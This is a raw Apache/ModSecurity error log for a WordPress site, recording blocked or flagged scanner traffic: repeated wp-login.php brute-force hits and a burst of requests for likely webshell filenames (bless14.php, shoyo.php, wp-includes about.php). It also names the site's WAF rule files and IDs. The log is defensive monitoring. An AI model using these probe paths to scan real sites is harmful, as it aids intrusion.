[Sat Jan 17 13:13:28.540222 2026] [:error] [pid 31224:tid 31275] [client 148.113.212.65:39818] [client 148.113.212.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.113.212.65, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWsaeDgpVpEMk8-OQkjBGwAAAE4"]
[Sat Jan 17 14:28:47.652252 2026] [:error] [pid 31225:tid 31300] [client 107.170.14.214:46874] [client 107.170.14.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.170.14.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWssH-nu2L2yWFDbzyWLwQAAAIw"]
[Sat Jan 17 15:42:30.593136 2026] [:error] [pid 31225:tid 31311] [client 137.184.230.10:60674] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.230.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWs9Zunu2L2yWFDbzyWknAAAAJc"]
[Sat Jan 17 17:02:21.304223 2026] [:error] [pid 31225:tid 31294] [client 106.54.62.156:41604] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWtQHenu2L2yWFDbzyW-PQAAAIY"]
[Sat Jan 17 19:26:57.877681 2026] [:error] [pid 31223:tid 31250] [client 139.144.54.113:43470] [client 139.144.54.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.144.54.113, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWtyAUMnpeq0T1sEOlLjVQAAABE"]
[Sat Jan 17 19:27:00.994200 2026] [proxy_fcgi:error] [pid 31223:tid 31250] [client 139.144.54.113:43470] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:54:{i:1762839948;a:1:{s:10:\\"itsec_cron\\";a:0:{}}i:1768649021;a:1:{s:26:\\"action_scheduler_run_queue\\";a:1:{s:32:\\"0d04ed39571b55704c122d726248bbac\\";a:3:{s:8:\\"schedule\\";s:12:\\"every_minute\\";s:4:\\"args\\";a:1:{i:0;s:7:\\"WP Cron\\";}s:8:\\"interval\\";i:60;}}}i:1768649023;a:1:{s:10:\\"itsec_cron\\";a:1:{s:32:\\"52e238d4feebebdd3474a3fd6c58d2cf\\";a:3:{s:8:\\"schedule\\";s:6:\\"hourly\\";s:4:\\"args\\";a:1:{i:0;s:12:\\"malware-scan\\";}s:8:\\"interval\\";i:3600;}}}i:1768649139;a:1:{s:21:\\"wordfence_hourly_cron\\";a:1:{s:32:\\"40cd750bba9870f18aada2478b24840a\\";a:3:{s:8:\\"schedule\\";s:6:\\"hourly\\";s:4:\\"args\\";a:0:{}s:8:\\"interval\\";i:3600;}}}i:1768649236;a:1:{s:29:\\"rsssl_every_five_minutes_hook\\";a:1:{s:32:\\"40cd750bba9870f18aada2478b24840a\\";a:3:{s:8:\\"schedule\\";s:18:\\"rsssl_five_minutes\\";s:4:\\"args\\";a:0:{}s:8:\\"interval\\";i:300;}}}i:1768649250;a:1:{s:35:\\"wordfence_b...'
[Sat Jan 17 20:41:24.564309 2026] [:error] [pid 31224:tid 31268] [client 152.53.109.224:35968] [client 152.53.109.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.109.224, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWuDdDgpVpEMk8-OQkgmWgAAAEc"]
[Sat Jan 17 21:57:38.149546 2026] [:error] [pid 31698:tid 31710] [client 150.220.226.54:45778] [client 150.220.226.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 150.220.226.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWuVUrjKZJSxKAfZqrLo0QAAAQg"]
[Sat Jan 17 23:11:51.304487 2026] [:error] [pid 31225:tid 31296] [client 78.47.142.186:47398] [client 78.47.142.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.47.142.186, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWumt-nu2L2yWFDbzyUr_gAAAIg"]
[Sat Jan 17 23:37:19.101625 2026] [:error] [pid 31223:tid 31234] [client 182.42.111.213:47132] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWusr0Mnpeq0T1sEOlINlAAAAAE"]
[Sun Jan 18 00:27:57.766087 2026] [:error] [pid 31322:tid 31354] [client 45.195.75.44:34260] [client 45.195.75.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.195.75.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWu4jXxOW98yk2MBlyoPuwAAANQ"]
[Sun Jan 18 01:35:40.891414 2026] [:error] [pid 31225:tid 31293] [client 104.28.161.73:42776] [client 104.28.161.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aWvIbOnu2L2yWFDbzyVAjAAAAIU"]
[Sun Jan 18 01:39:30.889088 2026] [:error] [pid 31223:tid 31239] [client 51.81.208.145:49004] [client 51.81.208.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.81.208.145, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWvJUkMnpeq0T1sEOlIgggAAAAY"]
[Sun Jan 18 04:04:00.996990 2026] [:error] [pid 12924:tid 12978] [client 85.209.9.49:60270] [client 85.209.9.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.209.9.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWvrMCuv3PUo9LR6V6YMzwAAAFI"]
[Sun Jan 18 05:11:01.527739 2026] [:error] [pid 13034:tid 13045] [client 88.99.148.122:48734] [client 88.99.148.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.99.148.122, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWv65cRGpUu1E8cmbmgAIwAAAMc"]
[Sun Jan 18 06:51:23.887647 2026] [:error] [pid 13034:tid 13041] [client 216.73.216.212:3158] [client 216.73.216.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.212, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWwSa8RGpUu1E8cmbmgqVwAAAMM"]
[Sun Jan 18 07:31:31.091092 2026] [:error] [pid 12925:tid 13010] [client 141.94.18.111:59284] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.94.18.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWwb0_sBL-4pnmSbzihd9wAAAJY"]
[Sun Jan 18 08:36:35.709920 2026] [:error] [pid 12925:tid 12998] [client 139.59.226.59:22112] [client 139.59.226.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.226.59, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWwrE_sBL-4pnmSbzihw5QAAAIo"]
[Sun Jan 18 09:41:43.336098 2026] [:error] [pid 12925:tid 13009] [client 46.105.124.216:59836] [client 46.105.124.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.124.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWw6V_sBL-4pnmSbziiHGAAAAJU"]
[Sun Jan 18 09:47:43.641650 2026] [:error] [pid 13034:tid 13036] [client 54.36.100.158:42034] [client 54.36.100.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.36.100.158, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWw7v8RGpUu1E8cmbmh82QAAAMA"]
[Sun Jan 18 10:51:30.614119 2026] [:error] [pid 12923:tid 12943] [client 178.198.226.47:44288] [client 178.198.226.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.198.226.47, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWxKsusWURrrC-4Rx5LhIgAAAAs"]
[Sun Jan 18 12:02:24.693133 2026] [:error] [pid 12925:tid 13003] [client 66.70.178.228:34650] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.70.178.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWxbUPsBL-4pnmSbzii9hQAAAI8"]
[Sun Jan 18 12:26:55.299619 2026] [proxy_fcgi:error] [pid 13034:tid 13047] [client 103.4.122.14:49030] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query insert into wp_wfstatus (ctime, level, type, msg) values ('1768710411.206873', 2, 'info', 'Scanned contents of 5174 additional files at 7.59 per second') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceScanner->writeScanningStatus, wordfence::status, wfLog->addStatus, wfDB->queryWritePHP message: WordPress database error The total number of locks exceeds the lock table size for query insert into wp_wfstatus (ctime, level, type, msg) values ('1768710412.230679', 2, 'info', 'Scanned contents of 5185 additional files at 7.60 per second') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceScanner->writeScanningStatus, wordfence::status, wfLog->addStatus, wfDB->queryWrite'
[Sun Jan 18 13:09:29.202748 2026] [:error] [pid 13034:tid 13048] [client 178.33.162.49:59750] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.162.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWxrCcRGpUu1E8cmbmjlngAAAMo"]
[Sun Jan 18 13:43:30.600598 2026] [:error] [pid 12924:tid 12974] [client 43.166.7.113:49574] [client 43.166.7.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWxzAiuv3PUo9LR6V6a6vQAAAE4"]
[Sun Jan 18 14:01:31.361702 2026] [:error] [pid 12925:tid 13011] [client 110.21.227.180:62792] [client 110.21.227.180] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "74.208.59.165_2a49c04188b55c0e255f5ce013831edaa9c8b2a0"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor-pro/assets/js/carousel.3620fca501cb18163600.bundle.min.js"] [unique_id "aWx3OPsBL-4pnmSbzijtfQAAAJc"], referer: https://vetstars.com.au/
[Sun Jan 18 16:39:51.296716 2026] [:error] [pid 13034:tid 13048] [client 34.38.32.188:45738] [client 34.38.32.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.38.32.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWycV8RGpUu1E8cmbmhHawAAAMo"]
[Sun Jan 18 17:54:47.072973 2026] [:error] [pid 12924:tid 12975] [client 213.132.222.51:50676] [client 213.132.222.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.132.222.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWyt5yuv3PUo9LR6V6YOfwAAAE8"]
[Sun Jan 18 18:31:12.633505 2026] [:error] [pid 13034:tid 13043] [client 43.166.132.142:48530] [client 43.166.132.142] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWy2cMRGpUu1E8cmbmiDOwAAAMU"]
[Sun Jan 18 18:50:27.256568 2026] [:error] [pid 13034:tid 13052] [client 20.2.112.127:10376] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aWy688RGpUu1E8cmbmiJfAAAAM4"]
[Sun Jan 18 18:50:31.379303 2026] [:error] [pid 12924:tid 12965] [client 20.2.112.127:10471] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aWy69yuv3PUo9LR6V6YkTgAAAEU"]
[Sun Jan 18 18:50:45.243768 2026] [:error] [pid 12923:tid 12938] [client 20.2.112.127:10377] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless14.php"] [unique_id "aWy7BesWURrrC-4Rx5J5dQAAAAY"]
[Sun Jan 18 18:50:45.477599 2026] [:error] [pid 12924:tid 12970] [client 20.2.112.127:10381] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless14.php"] [unique_id "aWy7BSuv3PUo9LR6V6YkVAAAAEo"]
[Sun Jan 18 18:50:45.711674 2026] [:error] [pid 12923:tid 12942] [client 20.2.112.127:10387] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless14.php"] [unique_id "aWy7BesWURrrC-4Rx5J5dwAAAAo"]
[Sun Jan 18 18:50:45.946225 2026] [:error] [pid 37885:tid 37900] [client 20.2.112.127:10453] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless14.php"] [unique_id "aWy7BYIjOL7XA82H72VzxwAAAUw"]
[Sun Jan 18 18:50:46.179421 2026] [:error] [pid 37885:tid 37901] [client 20.2.112.127:10376] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aWy7BoIjOL7XA82H72VzyAAAAU0"]
[Sun Jan 18 18:50:46.411824 2026] [:error] [pid 12923:tid 12933] [client 20.2.112.127:10434] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aWy7BusWURrrC-4Rx5J5eQAAAAE"]
[Sun Jan 18 18:50:46.645087 2026] [:error] [pid 12923:tid 12949] [client 20.2.112.127:10389] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aWy7BusWURrrC-4Rx5J5egAAABE"]
[Sun Jan 18 18:50:46.878661 2026] [:error] [pid 12923:tid 12937] [client 20.2.112.127:10435] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoyo.php"] [unique_id "aWy7BusWURrrC-4Rx5J5fAAAAAU"]
[Sun Jan 18 18:50:47.111845 2026] [:error] [pid 13034:tid 13049] [client 20.2.112.127:10396] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7B8RGpUu1E8cmbmiJgwAAAMs"]
[Sun Jan 18 18:50:47.345153 2026] [:error] [pid 37885:tid 37912] [client 20.2.112.127:10386] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7B4IjOL7XA82H72VzyQAAAVg"]
[Sun Jan 18 18:50:47.579116 2026] [:error] [pid 37885:tid 37902] [client 20.2.112.127:10442] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7B4IjOL7XA82H72VzygAAAU4"]
[Sun Jan 18 18:50:47.812965 2026] [:error] [pid 12924:tid 12981] [client 20.2.112.127:10491] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7Byuv3PUo9LR6V6YkVwAAAFU"]
[Sun Jan 18 18:50:48.050357 2026] [:error] [pid 12924:tid 12968] [client 20.2.112.127:10467] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aWy7CCuv3PUo9LR6V6YkWAAAAEg"]
[Sun Jan 18 18:50:48.293299 2026] [:error] [pid 37885:tid 37896] [client 20.2.112.127:10443] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aWy7CIIjOL7XA82H72VzywAAAUg"]
[Sun Jan 18 18:50:48.536780 2026] [:error] [pid 37885:tid 37895] [client 20.2.112.127:10382] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aWy7CIIjOL7XA82H72VzzAAAAUc"]
[Sun Jan 18 18:50:48.773367 2026] [:error] [pid 37885:tid 37891] [client 20.2.112.127:10480] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aWy7CIIjOL7XA82H72VzzgAAAUM"]
[Sun Jan 18 18:50:49.010464 2026] [:error] [pid 37885:tid 37905] [client 20.2.112.127:10479] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aWy7CYIjOL7XA82H72VzzwAAAVE"]
[Sun Jan 18 18:50:49.244379 2026] [:error] [pid 37885:tid 37910] [client 20.2.112.127:4083] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aWy7CYIjOL7XA82H72Vz0AAAAVY"]
[Sun Jan 18 18:50:49.477085 2026] [:error] [pid 37885:tid 37899] [client 20.2.112.127:10385] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aWy7CYIjOL7XA82H72Vz0QAAAUs"]
[Sun Jan 18 18:50:49.712062 2026] [:error] [pid 13034:tid 13059] [client 20.2.112.127:10466] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aWy7CcRGpUu1E8cmbmiJhAAAANU"]
[Sun Jan 18 18:50:49.946164 2026] [:error] [pid 12925:tid 13010] [client 20.2.112.127:10487] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aWy7CfsBL-4pnmSbzihG6QAAAJY"]
